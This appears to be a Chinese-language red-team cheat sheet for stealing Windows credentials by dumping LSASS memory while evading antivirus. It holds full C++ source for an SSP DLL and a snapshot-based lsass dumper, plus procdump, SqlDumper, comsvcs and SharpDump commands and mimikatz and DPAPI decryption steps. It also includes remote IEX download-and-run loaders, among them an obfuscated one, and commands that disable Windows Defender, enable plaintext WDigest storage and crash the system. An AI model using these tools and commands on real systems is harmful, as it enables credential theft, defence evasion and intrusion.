一、使用RPC控制lsass加载SSP,实现DUMP LSASS绕过杀软
1.已编译好的ssp.dll(建议自己编译)
spp.dll 需要修改为完整的绝对路径,测试环境是win2012 管理员权限,提取的文件在C:\Windows\Temp\temp.bin,在windows 10 可能需要system权限。
编译成功的spp.dll文件以及loader注入器:
loader.exe ssp.dll
mimikatz # sekurlsa::minidump teamp.bin
mimikatz # sekurlsa::logonPasswords full
2.编译以及注意点
(1).所编译的.h 文件是 x64,不能用x86进行编译;生成.h文件直接写一个idl文件就可以生成,至于为什么要用x64的编译是因为xpn师傅当时只分析了x64的ssp注册流程,写的也是x64的流程,而且x86的注册api也是不一样的, x86并没有NdrClientCall3这个函数,win10用的是NdrClientCall4封装的NdrClientCall2,win7直接用的NdrClientCall2,要兼容x86你需要按照xpn师傅的文章重新分析然后重写注册流程。
(2).使用vs 2015,静态库中使用MFC进行编译
(3).注意编译的路径和文件名以及lass.exe的进程ID值
(4).编译 的ssp.dll代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <windows.h>
#include <DbgHelp.h>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetPid()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot Error!");
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_stricmp(pe32.szExeFile, "lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
int Dump_Lsass() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary("comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle("ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL || RtlAdjustPrivilege == NULL)
{
return 0;
}
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
int pid = GetPid();
if (pid != -1)
{
swprintf(ws, 100, L"%d %hs", pid, "c:\\users\\public\\1.Dmp full"); #需要注意这里输出的路径和文件名,,以及pid进程值
}
else {
return 0;
}
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
Dump_Lsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
或者
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass进程的pid号 "<pid> <dump.bin> full"
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
写了DUMP LSASS的DLL:
inject_lass_dump.exe dump_dll.dll
Project6.exe
3.参考链接
奇安信编译让杀软:
4.总结
该方法需要自己编译,需要知道目标系统的lass.exe进程的ID值,以及设置输出的路径,编译有点麻烦,可以绕过大多数杀软,如绕过卡巴斯基
1. 查看目标远程凭据(如果有文件就相当于有凭据):
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
#如果此文件下没有发现评级,可使用cmdkey /list 命令后一般出现了凭据信息,如果还是没出现文件,说明文件是隐藏的,可以把隐藏系统文件勾选取消了或者使用命令dir /a进行查看。
#dir /a C:\Users\每个用户\AppData\Local\Microsoft\Credentials\ //会把所有登录的用户的凭据加密文件都找出来
2. 将此文件夹中的文件从目标机远程下载到本地的C:\a文件夹中
3. 在目标机上使用procdump获取目标lsass.exe内存
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
4. 将lsass.dmp复制到本地,选择一个刚刚下载下来的密码文件对其进行解密。此处需要记录下guidMasterKey的值。
mimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED1460
5. 本地使用命令加载dmp并获取guidMasterKey:
mimikatz# sekurlsa::minidump lsass.dmp //将lsaa.dmp导入 mimikatz# sekurlsa::dpapi
6.复制此Masterkey,并执行命令解密:
mimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED1460 /masterkey:6e65bc98836fcd5cd41c2d28ec96e538804c8b4d0419569b54a1be526f998192b1791ee40d995e6b4a9b3f126
7.解密成功,获取到目标远程连接的账号与密码:
8.总结:
(1).方法只需要管理员权限,而非system权限,可导出guidMasterKe文件
(2).需要结合微软自带的工具procdump导出lasss.exe
(3).然后将其guidMasterKe文件和lass.exe文件下载到本地通过mimiktaz进行读取解密,是绕过杀软获取明文的方法。
1.powershell版的procdump
(1).获得lsass.exe的进程ID
tasklist /svc |findstr lsass.exe
(2).本地dump lsass.exe进程的内存文件
powershell -exec bypass "import-module .\Get-ProcessMiniDump.ps1;Get-ProcessMiniDump -ProcID 660 -Path C:\windows\tasks\lsass.dmp"
(3)远程 dump lsass.exe进程的内存文件
powershell.exe IEX (New-Object Net.WebClient).DownloadString('
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-ProcessMiniDump.ps1
');Get-ProcessMiniDump -ProcID 660 -Path C:\windows\tasks\lsass.dmp"
(4).mimikatz获取本地密码
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonPasswords full
2.微软自带的工具ProcDump
(1).Procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2).把lsass.dmp下载到本地,放在同样的系统(目标是windows2008-->本地也用Windows2008)
(3).mimikatz加载lsass.dmp
sekurlsa::minidump lsass.dmp
(4).抓取密码
sekurlsa::logonPasswords full
3.一建命令
dump_passwd.bat
@echo off
color 0a
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" > p6sw4d.txt
4.总结
(1).Get-ProcessMiniDump.ps1和procdump相比,优点在于Get-ProcessMiniDump.ps1可以使用IEX方式远程下载执行,从而达到不落地的目的;
(2).当然procdump为微软自己的工具免杀应该会好一些,在有卡巴斯基的机器上执行powershell是会被拦截的。
1.如果目标系统上安装了windows sql server ,SqlDumper.exe默认存放在c:\Program Files\Microsoft SQL Server\number\Shared,其中number代表sql server的版本
140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005
我本地安装的是Windows sql server 2016 所以我的SqlDumper.exe在这个位置C:\Program Files\Microsoft SQL Server\130\Shared\
-
2.如果目标没有安装Windows sql server ,可以自己上传一个SqlDumper.exe和procdump.exe一样,都是微软自己的,不会存在被AV杀掉的可能,除非安装的杀毒软件有dump内存文件保护:
3.SqlDumper.exe的大小远小于procdump.exe、procdump64.exe
4.使用方法:
(1).查看lsass.exe 的ProcessID
tasklist /svc |findstr lsass.exe
(2).根据ProcessID来dump 内存文件,Full dump file执行成功后会生产SQLDmpr0001.mdmp文件
Sqldumper.exe ProcessID 0 0x01100
5.mimikatz加载dump文件
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full
6.批处理命令执行
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do Sqldumper.exe %i 0 0x01100
sqldumper.exe 1036 0 0x01100
7.总结:
(1).sql2012版依赖msvcr100.dll,sql2016版依赖msvcr120.dll
(2).SqlDumper.exe体积大小于procdump.exe、procdump64.exe,命令行操作,微软自己东西,免杀。
(3).针对内存保护的杀软是无法导出的,如卡巴斯基,NOD32
1.自身命令获取密码
https://github.com/gentilkiwi/mimikatz/releases
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" #在命令窗口中显示
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit" > p6sw4d.txt #导出到一个记事本文件中显示
2.powershell版本的mimikatz
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
(1).本地执行
C:\Users\test\Desktop>powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
(2).远程加载
powershell.exe IEX (New-Object Net.WebClient).DownloadString('
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
');Invoke-Mimikatz
或者
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
(3).Invoke-Mimikatz简单混淆就bypass
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
3.windwos10以及以上抓取明文:
(1).临时禁止Windows Defender
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force #键值为1时Wdigest Auth保存明文口令,为0则不保存明文
(2).修改注册表开启UseLogonCredential
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
(3).等用户下次再登录的时候,可抓到明文密码
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit
4.powershell 免杀抓明文 :
powershell "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1'); Get-Process lsass | Out-Minidump -DumpFilePath c:\windows\temp"
只需把 dmp 文件拖到本机机器再用 mimikatz.exe 加载 lsass_504.dmp 文件读取即可
# mimikatz.exe "sekurlsa::minidump lsass_504.dmp" "sekurlsa::logonPasswords full" exit
5.总结
(1).可以直接抓取win7以下的系统明文密码,不免杀,需要自己修改,对代码进行修改,重新编译免杀mimikatz
(2).win 8,8.1,2012,10,16修改改注册表下次系统登录可抓取明文密码
https://github.com/quarkslab/quarkspwdump
总结:该工具不免杀,容易被杀
https://www.ampliasecurity.com/research/wcefaq.html
总结:该工具只能用于windows2003.winxp系统中
http://www.tarasco.org/security/pwdump_7/index.html
总结:该工具不免杀
九、LaZagne导出密码
https://github.com/AlessandroZ/LaZagne
总结:该工具不免杀
1.通过以下操作可先获取到lsass内存文件,然后使用mimikatz可进一步读取密码
2.可发现成功的创建了一个dmp文件,把它拷贝到本地,然后使用mimikatz恢复获取明文
mimikatz.exe "sekurlsa::minidump c:\lsass.dmp""sekurlsa::logonPasswords full" "exit" >pass64.txt
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do SharpDump.exe %i
sharpdump.exe lass.exe进程ID
体积小[也就 9k 左右],免杀[实测 nod32 没啥问题]暂时还可以,默认它会自动 dump lsass.exe 进程数据,当然,你也可以指定进程 id 来 dump,在一些断网环境下很实用,如
下,先在目标机器上把 lsass.exe 进程数据导出来
之后,依然是回到本机机器用 mimikatz.exe 读取刚刚 dump 出的文件,特别注意,dump 的文件默认是 bin 后缀,拖到本地机器以后,需要自行把 bin 重命名为 zip 的后缀,然后正常解压处里面的文件,再丢给 mimikatz 去读取即可,如下
# mimikatz.exe "sekurlsa::minidump debug504" "sekurlsa::logonPasswords full" "exit"
1.批处理命令执行
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full
rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump 856 .\lass.dmp full
2.powershell版本执行
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 460 C:\lsass.dmp full" (460是lsass.exe的进程,因系统不同,所以部分机器的pid值不同,利用comsvcs.dll 文件中的MiniDump 函数来Dump)
mimikatz.exe "sekurlsa::minidump c:\lsass.dmp" "sekurlsa::logonpasswords full" "exit" > fb.txt
1.管理员执行:
reg save hklm\sam .\sam.hive® save hklm\system .\system.hive
2.将两个文件拷贝到本地,然后导入SAMInside并将NT-Hash复制出来去相关网站查询即可(mimikatz也可以读)
卡巴以及小红伞均对lsass.exe进行了保护,导致微软出的两款工具以及他自己的kldumper都无法用于dump lsass。但是可以通过制造蓝屏来获取所有内存的文件MEMORY.DMP没然后在提出lsass进一步读取。
需要的工具:WinDBG+mimilib.dll
测试环境一:win8.1
kaspersky2019(病毒库为2018.10.25号的)
1.首先我用procdump来dump lsass.exe的内存文件
2.再用我在https://www.t00ls.net/thread-47663-1-1.html中分享的用sqldump来dump,结局都一样,因为sqldump和procdump的原理都一样
3.下面我们就用Windows蓝屏memory.dmp文件来测试
获取蓝屏后的dmp文件,使系统蓝屏的方法有很多,比如说强制结束系统进程,我这里选择强制结束系统进程wininit.exe
管理员权限运行cmd后,执行taskkill /f /im "wininit.exe"
4.取回存在于C:\Windows\文件夹下面的MEMORY.DMP文件
5.运行windbg,使用Open the crashdump加载MEMORY.DMP
6.加载mimikatz的mimilib.dll
.load C:\Users\Administrator\Desktop\qqq\mimilib.dll注意load 前面那个点别漏掉
7.设置微软符号服务器(这一步在测试中可有可无)
.SymFix
8.重新加载
.Reload
9.查看lsass.exe进程的内存地址
!process 0 0 lsass.exe
10.切换到lsass.exe进程中
.process /r /p fffffa800e069b00
11.运行mimikatz
!mimikatz
12.总结:
缺点:
(1).使用这种方法抓密码,需要机器重启一次,蓝屏一次,而且第一次重启之后你想要的user得重新登陆后才行
(2).memory.dmp文件会很大
优点:
(1).绕过kaspersky对内存的保护
使用PssCaptureSnapshot的好处是,当获取明文时调用MiniDumpWriteDump时,它不会直接读取lsass进程内存,而是从进程的快照中读取。在MiniDumpWriteDump调用中使用由PssCaptureSnapshot返回的句柄,而不是LSASS进程句柄
代码如下:
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
BOOL CALLBACK MyMiniDumpWriteDumpCallback(
__in PVOID CallbackParam,
__in const PMINIDUMP_CALLBACK_INPUT CallbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
)
{
switch (CallbackInput->CallbackType)
{
case 16: // IsProcessSnapshotCallback
CallbackOutput->Status = S_FALSE;
break;
}
return TRUE;
}
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
HANDLE snapshotHandle = NULL;
DWORD flags = (DWORD)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION;
MINIDUMP_CALLBACK_INFORMATION CallbackInfo;
ZeroMemory(&CallbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
CallbackInfo.CallbackRoutine = &MyMiniDumpWriteDumpCallback;
CallbackInfo.CallbackParam = NULL;
PssCaptureSnapshot(lsassHandle, (PSS_CAPTURE_FLAGS)flags, CONTEXT_ALL, (HPSS*)&snapshotHandle);
BOOL isDumped = MiniDumpWriteDump(snapshotHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
PssFreeSnapshot(GetCurrentProcess(), (HPSS)snapshotHandle);
return 0;
}